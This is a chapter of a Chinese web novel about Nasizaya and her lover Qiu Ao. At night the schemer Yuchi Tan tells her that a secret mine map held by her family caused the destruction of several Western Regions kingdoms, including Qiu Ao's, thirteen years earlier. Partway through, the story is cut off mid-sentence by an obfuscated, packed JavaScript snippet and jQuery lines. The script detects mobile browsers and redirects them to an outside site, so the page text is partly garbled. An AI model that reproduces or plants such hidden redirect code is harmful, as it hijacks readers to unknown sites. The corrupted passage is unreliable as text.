娜茜扎垭坐在帐篷边,掀起帐帘一角偷偷向外看。
尉迟昙同王将军攀谈几句,才进入帐篷。他的护卫守在一旁,看似松散,实则隐隐将娜茜扎垭的帐篷合围在中心。
裘敖喂完马,又去单独住的宋衍舟帐篷中嘱咐几句,还给他留了防身的武器,回到帐篷点起灯,才见娜茜扎垭依旧看着外头。
“尉迟昙有动作?”裘敖低声问。
“没有。”娜茜扎垭头也不回地瞅着自从尉迟昙进去后就一动不动的帐帘。
“那就别看了,他长得又不好看,赶路这么多天,不累吗。”裘敖重重坐下,心里闷着一口气。
娜茜扎垭反应了一会,随即从裘敖的话中咂摸出一股酸气来,她放下帐帘,低笑着转过身来,正好瞅见他支起脑袋,盯着自己眼都不眨,活像条盯着肉的野狗。
“裘敖,过来。”她轻声唤他,食指在空中一勾。
裘敖面上还绷着,腿却先一步迈开,半跪在娜茜扎垭面前:“……在。”
娜茜扎垭抬手,指尖滑过他的唇线:“干嘛绷得这么紧,笑一笑。”
裘敖浑身一僵,嘴角慢慢抬高,笑意终于直达眼底,没忍住捧上娜茜扎垭的脸亲了一大口。
“我知道他监视我们,你是想让他觉得我们被掌控,不慎之中自然露出破绽。小不忍则乱大谋,我逗你玩呢。”
娜茜扎垭刚开口想说什么,帐外忽然传来一句低低的男声:“汗女可休息了?”
“还没有,何事?”娜茜扎垭迅速比了个噤声的手势,高声道。
“我们公子说,今夜月色甚好,想邀您一起赏月。”那人接着说。
娜茜扎垭与裘敖对视一眼,果然,尉迟昙按捺不住了。
“这就来。”娜茜扎垭应了一声,牵着裘敖出了帐篷,“既然昙公子请了,我哪有拒绝的道理。”
两人一同出来,那护卫却侧身一步拦住裘敖:“这位壮士请留步,我们公子只是想和汗女聊几句体己话,不多时,汗女自会回来。”
裘敖眉骨一压,眼中掠过凶光,手按在刀柄上,蓄势待发。
深夜单独邀约,还不让他跟着,尉迟昙一定是要搞鬼。
娜茜扎垭瞥了他一眼,松开牵着裘敖的手,轻拍两下他的手背:“你在这等我,我很快回来。”
“当心。”裘敖低声叮嘱,依言退后一步。
护卫将娜茜扎垭一路引到背风处的缓坡,远处的戈壁在夜色中延展出一片模糊的暗影,冷风穿过岩石的间隙,发出呜咽般的低鸣。
尉迟昙姗姗来迟,站在娜茜扎垭身后,指挥护卫退下。
“今夜月色甚美,月明星稀,恰似我与汗女初识那日。”尉迟昙仰头望着月亮,随手摇晃着折扇,好像真是个赏月的风雅人物。
“在西域看到这样的月亮是常事,在中原就不一定了。”娜茜扎垭双手抱胸,依旧警觉,“我就在这里长大,这样的景色我见多了,没什么稀奇。我穿的少,昙公子若没有别的事说,我就回去了。”
“汗女莫急。”尉迟昙悠悠开口,声音散在风中。“汗女学贯古今,一定知道十三年前,西域曾有过一次大乱?旬玛国以东,七八个小国,半月之内灰飞烟灭。”
娜茜扎垭偏头看了他一眼。
她当然记得,那年她六岁,父亲连续数月闭门不出,家里的商队也第一次全部停止经营。街上流言四起,说有恶鬼从沙漠中来,专打小国,尸横遍野。
那几个国家消失得很快,但足足用了半年时间,人民的恐慌才渐渐熄灭。
“昙公子何故提起旧事?”娜茜扎垭随口问道。
“那场战争,看上去是国家之间吞并争斗,其实另有内情。”尉迟昙依旧看着娜茜扎垭的侧脸,慢条斯理地说,“他们是为了一张秘矿图。”
“秘矿图?”娜茜扎垭蹙眉。
“没错。”尉迟昙收起折扇,重重打在手心,“这张图上,记载这西域各国金、银、铜、铁等矿脉地精确位置吗,得到这张图,就等于握住了西域经济的命脉。”
娜茜扎垭身侧的手指蜷缩起来,指甲深深嵌进掌心,但面上还是轻笑:“怕只是传说吧,若真有此物,战争怎么会轻易停止?”
尉迟昙也笑了,但他是大笑,笑声在风中被拉扯,扭曲,又不远处的山撞回,回音渗得人心慌。
“若我说,这图,就藏在瓦木迪家,并且是大汗本人放出的风声,才引起泼天祸事呢?”
娜茜扎垭蓦然转头。
一阵疾风掠过,掀起娜茜扎垭脸上的面纱,她面上的警觉和惊讶毫无保留地撞进尉迟昙眼底。
他迅速拉下面纱面纱,冷冷道:“昙公子此言倒叫我不解了,不妨直言。”
尉迟昙凝视着她的眼睛,片刻后才退开,又恢复了平常那副温文尔雅的模样:“是在下失言了,只是想着汗女的爱人就是十三年前亡国的魑族遗民,还以为汗女会感兴趣呢。”
“天色不早了,汗女早些歇息吧。”尉迟昙意味深长地留下一句话,转身离去。
娜茜扎垭站在原地,直到身后的脚步声彻底消失,才缓缓松开紧握成拳的手。
掌心四个深红的月牙印,渗出点点血丝。
***
深夜的风更凉了,娜茜扎垭平复好心情才回到帐篷,远远地就看见裘敖按着刀站在帐篷外,像一尊冷硬的石碑。
直到娜茜扎垭走到跟前,裘敖才松了警戒,一把揽过她的肩膀,触手一片冰凉。
他惊呼一声:“怎么这么冰!快进屋。”
他掀开帐帘,将娜茜扎垭按坐在篝火旁,一股脑地把大氅和毛皮全都披在她身上。
“尉迟昙和你说了什么?这么魂不守舍的。”
娜茜扎垭没回答,她隔着火光看着眼前这个男人,他正把她的手捧在手心呵着气,用自己的体温温暖着她。
等到手上有了些热度,她扯下面纱扔在一旁。
“裘敖。”她唤他。
“怎么了?”
“你过来。”裘敖就坐在娜茜扎垭对面,离她已经很近,但她还是向他伸出了手。
裘敖攥住她的手指,起身向前一步。
娜茜扎垭嫌他走得慢,攥住他的腰带,将他拽得弯下腰,裘敖猝不及防地跌下去,被娜茜扎垭咬住下唇。
裘敖一动不敢动,任由娜茜扎垭将他的腰带扯开,扣住他的后颈。他唇上被她咬破,血珠一滴滴地渗出,他轻哼一声,娜茜扎垭便尽数舔舐干净。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17046719|194753||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
良久,娜茜扎垭松开他,将他的额头抵在自己肩上,轻抚着他卷曲的头发。
“怎么了?”裘敖跪在她面前,双臂搂住她的腰。
“尉迟昙说,十三年前西域大乱,包括魑族在内的几个国家相继覆灭,是为了一张秘矿图。”娜茜扎垭轻叹一口气,接着说,“他还说,这张图就在我家,也是我家,引起的这场祸事。”
裘敖倒吸一口凉气。
灭国之事是他深入骨髓的痛楚,他不知道该说些什么,只能将脸更深地埋进娜茜扎垭的肩窝。
娜茜扎垭却好像并不想让他藏起来,揪着他的头发,强迫他看着自己。“裘敖,我说我对这事一概不知,你信吗?”
裘敖伸出手,手指抚摸过她微微发红的唇瓣,那里还沾着他的血,像他们初吻之时一样。
“裘敖,我知道,尉迟昙很可能是故意说出这番话,好离间你我。”娜茜扎垭苦笑着,一滴泪毫无预兆地滑落,滴进裘敖的手心,“但我还是很怕,我怕……”
怕什么,她没说全,但裘敖懂了。
她怕这张图真的存在,怕它真的被瓦木迪家攥在手中敛财,怕当年的祸事真的源自于瓦木迪家,怕他们之间的感情,终究抵不过血海深仇。
裘敖看着娜茜扎垭眼里罕见的脆弱,心中一窒,疼得他几乎喘不过气来。
娜茜扎垭是天之娇女,她拥有一切,本不应该有任何能威胁她的软肋。
现在,她居然拥着他,亲口说出“我怕”。
他忽然无比痛恨自己。
可他也在怕,怕这一瞬温暖相拥只是镜花水月,终有一日,命运会化为刺向彼此的利刃,逼迫他们不得不鱼死网破。
“别怕,我信你,娜茜,我当然相信你。”裘敖斩钉截铁地回答。
他不能露出脆弱,又拂去心中杂乱,冷静分析道:“娜茜,我猜,尉迟昙向你提起这张图,除了是想离间我们,很有可能也是对你的试探。”
娜茜扎垭抹去眼泪,眼眶依旧泛红,但眼中的脆弱渐渐褪去。
她细细回想,这些年家中商路变更,父亲的矿产买卖也越做越大……无数细碎的片段,此刻在脑中拼凑出令人心悸的轮廓。
“是我糊涂了。”娜茜扎垭缓过神,眼神重新恢复了锐利,“尉迟昙既然掌握我们的行踪,就一定知道我们是去长安查案,他却在这时提起这个……魑族灭国是十三年前,偏偏他说秘矿图的事情也是十三年前,恐怕这场祸事,与如今他们想要吞并西域的阴谋,本就出自同源。”
“不想了,去把火熄了,我们睡吧。”娜茜扎垭揉了揉裘敖的脑袋。
裘敖见娜茜扎垭眼神重新焕发光彩,终于放下心来,听话地起身盖上火,再摸黑蹭回到娜茜扎垭身边,把头枕在娜茜扎垭膝上。
娜茜扎垭坐得笔直,手指有一下没一下地梳理裘敖的头发,心中思索。
走私案,秘矿图,魑族灭国,瓦木迪家,西域,长安。
或许从始至终,她与她的家族,都站在这个巨大阴谋的最中心,就算没有接西域兵器走私这个案子,也终有一天会被扯进来。
帐外风声越来越急,像无数亡灵在戈壁上游荡呜咽。
今夜无人入眠。